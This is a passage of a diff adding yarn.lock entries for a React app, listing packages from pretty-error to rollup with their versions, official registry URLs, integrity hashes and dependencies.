+  integrity sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==
+
+pretty-error@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-4.0.0.tgz#90a703f46dd7234adb46d0f84823e9d1cb8f10d6"
+  integrity sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==
+  dependencies:
+    lodash "^4.17.20"
+    renderkid "^3.0.0"
+
+pretty-format@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-27.5.1.tgz#2181879fdea51a7a5851fb39d920faa63f01d88e"
+  integrity sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==
+  dependencies:
+    ansi-regex "^5.0.1"
+    ansi-styles "^5.0.0"
+    react-is "^17.0.1"
+
+pretty-format@^28.1.3:
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-28.1.3.tgz#c9fba8cedf99ce50963a11b27d982a9ae90970d5"
+  integrity sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==
+  dependencies:
+    "@jest/schemas" "^28.1.3"
+    ansi-regex "^5.0.1"
+    ansi-styles "^5.0.0"
+    react-is "^18.0.0"
+
+process-nextick-args@~2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
+  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+
+promise@^8.1.0:
+  version "8.3.0"
+  resolved "https://registry.yarnpkg.com/promise/-/promise-8.3.0.tgz#8cb333d1edeb61ef23869fbb8a4ea0279ab60e0a"
+  integrity sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==
+  dependencies:
+    asap "~2.0.6"
+
+prompts@^2.0.1, prompts@^2.4.2:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.2.tgz#7b57e73b3a48029ad10ebd44f74b01722a4cb069"
+  integrity sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==
+  dependencies:
+    kleur "^3.0.3"
+    sisteransi "^1.0.5"
+
+prop-types@^15.8.1:
+  version "15.8.1"
+  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5"
+  integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==
+  dependencies:
+    loose-envify "^1.4.0"
+    object-assign "^4.1.1"
+    react-is "^16.13.1"
+
+proxy-addr@~2.0.7:
+  version "2.0.7"
+  resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
+  integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==
+  dependencies:
+    forwarded "0.2.0"
+    ipaddr.js "1.9.1"
+
+psl@^1.1.33:
+  version "1.15.0"
+  resolved "https://registry.yarnpkg.com/psl/-/psl-1.15.0.tgz#bdace31896f1d97cec6a79e8224898ce93d974c6"
+  integrity sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==
+  dependencies:
+    punycode "^2.3.1"
+
+punycode@^2.1.0, punycode@^2.1.1, punycode@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
+
+q@^1.1.2:
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
+  integrity sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==
+
+qs@6.13.0:
+  version "6.13.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.0.tgz#6ca3bd58439f7e245655798997787b0d88a51906"
+  integrity sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==
+  dependencies:
+    side-channel "^1.0.6"
+
+querystringify@^2.1.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
+  integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
+
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
+
+raf@^3.4.1:
+  version "3.4.1"
+  resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
+  integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==
+  dependencies:
+    performance-now "^2.1.0"
+
+randombytes@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
+  integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
+  dependencies:
+    safe-buffer "^5.1.0"
+
+range-parser@^1.2.1, range-parser@~1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
+  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
+
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
+  dependencies:
+    bytes "3.1.2"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    unpipe "1.0.0"
+
+react-app-polyfill@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz#95221e0a9bd259e5ca6b177c7bb1cb6768f68fd7"
+  integrity sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==
+  dependencies:
+    core-js "^3.19.2"
+    object-assign "^4.1.1"
+    promise "^8.1.0"
+    raf "^3.4.1"
+    regenerator-runtime "^0.13.9"
+    whatwg-fetch "^3.6.2"
+
+react-dev-utils@^12.0.1:
+  version "12.0.1"
+  resolved "https://registry.yarnpkg.com/react-dev-utils/-/react-dev-utils-12.0.1.tgz#ba92edb4a1f379bd46ccd6bcd4e7bc398df33e73"
+  integrity sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==
+  dependencies:
+    "@babel/code-frame" "^7.16.0"
+    address "^1.1.2"
+    browserslist "^4.18.1"
+    chalk "^4.1.2"
+    cross-spawn "^7.0.3"
+    detect-port-alt "^1.1.6"
+    escape-string-regexp "^4.0.0"
+    filesize "^8.0.6"
+    find-up "^5.0.0"
+    fork-ts-checker-webpack-plugin "^6.5.0"
+    global-modules "^2.0.0"
+    globby "^11.0.4"
+    gzip-size "^6.0.0"
+    immer "^9.0.7"
+    is-root "^2.1.0"
+    loader-utils "^3.2.0"
+    open "^8.4.0"
+    pkg-up "^3.1.0"
+    prompts "^2.4.2"
+    react-error-overlay "^6.0.11"
+    recursive-readdir "^2.2.2"
+    shell-quote "^1.7.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
+react-dom@^19.0.0:
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-19.0.0.tgz#43446f1f01c65a4cd7f7588083e686a6726cfb57"
+  integrity sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==
+  dependencies:
+    scheduler "^0.25.0"
+
+react-error-overlay@^6.0.11:
+  version "6.0.11"
+  resolved "https://registry.yarnpkg.com/react-error-overlay/-/react-error-overlay-6.0.11.tgz#92835de5841c5cf08ba00ddd2d677b6d17ff9adb"
+  integrity sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==
+
+react-is@^16.13.1:
+  version "16.13.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
+  integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
+
+react-is@^17.0.1:
+  version "17.0.2"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
+  integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
+
+react-is@^18.0.0:
+  version "18.3.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e"
+  integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==
+
+react-refresh@^0.11.0:
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.11.0.tgz#77198b944733f0f1f1a90e791de4541f9f074046"
+  integrity sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==
+
+react-scripts@5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/react-scripts/-/react-scripts-5.0.1.tgz#6285dbd65a8ba6e49ca8d651ce30645a6d980003"
+  integrity sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@pmmmwh/react-refresh-webpack-plugin" "^0.5.3"
+    "@svgr/webpack" "^5.5.0"
+    babel-jest "^27.4.2"
+    babel-loader "^8.2.3"
+    babel-plugin-named-asset-import "^0.3.8"
+    babel-preset-react-app "^10.0.1"
+    bfj "^7.0.2"
+    browserslist "^4.18.1"
+    camelcase "^6.2.1"
+    case-sensitive-paths-webpack-plugin "^2.4.0"
+    css-loader "^6.5.1"
+    css-minimizer-webpack-plugin "^3.2.0"
+    dotenv "^10.0.0"
+    dotenv-expand "^5.1.0"
+    eslint "^8.3.0"
+    eslint-config-react-app "^7.0.1"
+    eslint-webpack-plugin "^3.1.1"
+    file-loader "^6.2.0"
+    fs-extra "^10.0.0"
+    html-webpack-plugin "^5.5.0"
+    identity-obj-proxy "^3.0.0"
+    jest "^27.4.3"
+    jest-resolve "^27.4.2"
+    jest-watch-typeahead "^1.0.0"
+    mini-css-extract-plugin "^2.4.5"
+    postcss "^8.4.4"
+    postcss-flexbugs-fixes "^5.0.2"
+    postcss-loader "^6.2.1"
+    postcss-normalize "^10.0.1"
+    postcss-preset-env "^7.0.1"
+    prompts "^2.4.2"
+    react-app-polyfill "^3.0.0"
+    react-dev-utils "^12.0.1"
+    react-refresh "^0.11.0"
+    resolve "^1.20.0"
+    resolve-url-loader "^4.0.0"
+    sass-loader "^12.3.0"
+    semver "^7.3.5"
+    source-map-loader "^3.0.0"
+    style-loader "^3.3.1"
+    tailwindcss "^3.0.2"
+    terser-webpack-plugin "^5.2.5"
+    webpack "^5.64.4"
+    webpack-dev-server "^4.6.0"
+    webpack-manifest-plugin "^4.0.2"
+    workbox-webpack-plugin "^6.4.1"
+  optionalDependencies:
+    fsevents "^2.3.2"
+
+react@^19.0.0:
+  version "19.0.0"
+  resolved "https://registry.yarnpkg.com/react/-/react-19.0.0.tgz#6e1969251b9f108870aa4bff37a0ce9ddfaaabdd"
+  integrity sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==
+
+read-cache@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/read-cache/-/read-cache-1.0.0.tgz#e664ef31161166c9751cdbe8dbcf86b5fb58f774"
+  integrity sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==
+  dependencies:
+    pify "^2.3.0"
+
+readable-stream@^2.0.1:
+  version "2.3.8"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
+  dependencies:
+    core-util-is "~1.0.0"
+    inherits "~2.0.3"
+    isarray "~1.0.0"
+    process-nextick-args "~2.0.0"
+    safe-buffer "~5.1.1"
+    string_decoder "~1.1.1"
+    util-deprecate "~1.0.1"
+
+readable-stream@^3.0.6:
+  version "3.6.2"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.2.tgz#56a9b36ea965c00c5a93ef31eb111a0f11056967"
+  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
+  dependencies:
+    inherits "^2.0.3"
+    string_decoder "^1.1.1"
+    util-deprecate "^1.0.1"
+
+readdirp@~3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
+  integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
+  dependencies:
+    picomatch "^2.2.1"
+
+recursive-readdir@^2.2.2:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.3.tgz#e726f328c0d69153bcabd5c322d3195252379372"
+  integrity sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==
+  dependencies:
+    minimatch "^3.0.5"
+
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
+regenerate-unicode-properties@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz#626e39df8c372338ea9b8028d1f99dc3fd9c3db0"
+  integrity sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==
+  dependencies:
+    regenerate "^1.4.2"
+
+regenerate@^1.4.2:
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
+  integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
+
+regenerator-runtime@^0.13.9:
+  version "0.13.11"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz#f6dca3e7ceec20590d07ada785636a90cdca17f9"
+  integrity sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==
+
+regenerator-runtime@^0.14.0:
+  version "0.14.1"
+  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz#356ade10263f685dda125100cd862c1db895327f"
+  integrity sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==
+
+regenerator-transform@^0.15.2:
+  version "0.15.2"
+  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz#5bbae58b522098ebdf09bca2f83838929001c7a4"
+  integrity sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==
+  dependencies:
+    "@babel/runtime" "^7.8.4"
+
+regex-parser@^2.2.11:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.3.0.tgz#4bb61461b1a19b8b913f3960364bb57887f920ee"
+  integrity sha512-TVILVSz2jY5D47F4mA4MppkBrafEaiUWJO/TcZHEIuI13AqoZMkK1WMA4Om1YkYbTx+9Ki1/tSUXbceyr9saRg==
+
+regexp.prototype.flags@^1.5.3:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
+
+regexpu-core@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-6.2.0.tgz#0e5190d79e542bf294955dccabae04d3c7d53826"
+  integrity sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==
+  dependencies:
+    regenerate "^1.4.2"
+    regenerate-unicode-properties "^10.2.0"
+    regjsgen "^0.8.0"
+    regjsparser "^0.12.0"
+    unicode-match-property-ecmascript "^2.0.0"
+    unicode-match-property-value-ecmascript "^2.1.0"
+
+regjsgen@^0.8.0:
+  version "0.8.0"
+  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.8.0.tgz#df23ff26e0c5b300a6470cad160a9d090c3a37ab"
+  integrity sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==
+
+regjsparser@^0.12.0:
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.12.0.tgz#0e846df6c6530586429377de56e0475583b088dc"
+  integrity sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==
+  dependencies:
+    jsesc "~3.0.2"
+
+relateurl@^0.2.7:
+  version "0.2.7"
+  resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
+  integrity sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==
+
+renderkid@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-3.0.0.tgz#5fd823e4d6951d37358ecc9a58b1f06836b6268a"
+  integrity sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==
+  dependencies:
+    css-select "^4.1.3"
+    dom-converter "^0.2.0"
+    htmlparser2 "^6.1.0"
+    lodash "^4.17.21"
+    strip-ansi "^6.0.1"
+
+require-directory@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+
+require-from-string@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
+  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
+
+requires-port@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
+  integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
+
+resolve-cwd@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
+  integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==
+  dependencies:
+    resolve-from "^5.0.0"
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+resolve-from@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
+  integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
+
+resolve-url-loader@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz#d50d4ddc746bb10468443167acf800dcd6c3ad57"
+  integrity sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==
+  dependencies:
+    adjust-sourcemap-loader "^4.0.0"
+    convert-source-map "^1.7.0"
+    loader-utils "^2.0.0"
+    postcss "^7.0.35"
+    source-map "0.6.1"
+
+resolve.exports@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-1.1.1.tgz#05cfd5b3edf641571fd46fa608b610dda9ead999"
+  integrity sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==
+
+resolve@^1.1.7, resolve@^1.14.2, resolve@^1.19.0, resolve@^1.20.0, resolve@^1.22.4, resolve@^1.22.8:
+  version "1.22.10"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39"
+  integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==
+  dependencies:
+    is-core-module "^2.16.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+resolve@^2.0.0-next.5:
+  version "2.0.0-next.5"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.5.tgz#6b0ec3107e671e52b68cd068ef327173b90dc03c"
+  integrity sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+retry@^0.13.1:
+  version "0.13.1"
+  resolved "https://registry.yarnpkg.com/retry/-/retry-0.13.1.tgz#185b1587acf67919d63b357349e03537b2484658"
+  integrity sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==
+
+reusify@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
+rimraf@^3.0.0, rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+rollup-plugin-terser@^7.0.0:
+  version "7.0.2"
+  resolved "https://registry.yarnpkg.com/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz#e8fbba4869981b2dc35ae7e8a502d5c6c04d324d"
+  integrity sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==
+  dependencies:
+    "@babel/code-frame" "^7.10.4"
+    jest-worker "^26.2.1"
+    serialize-javascript "^4.0.0"
+    terser "^5.0.0"
+
+rollup@^2.43.1:
+  version "2.79.2"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-2.79.2.tgz#f150e4a5db4b121a21a747d762f701e5e9f49090"
+  integrity sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==
+  optionalDependencies:
+    fsevents "~2.3.2"
+
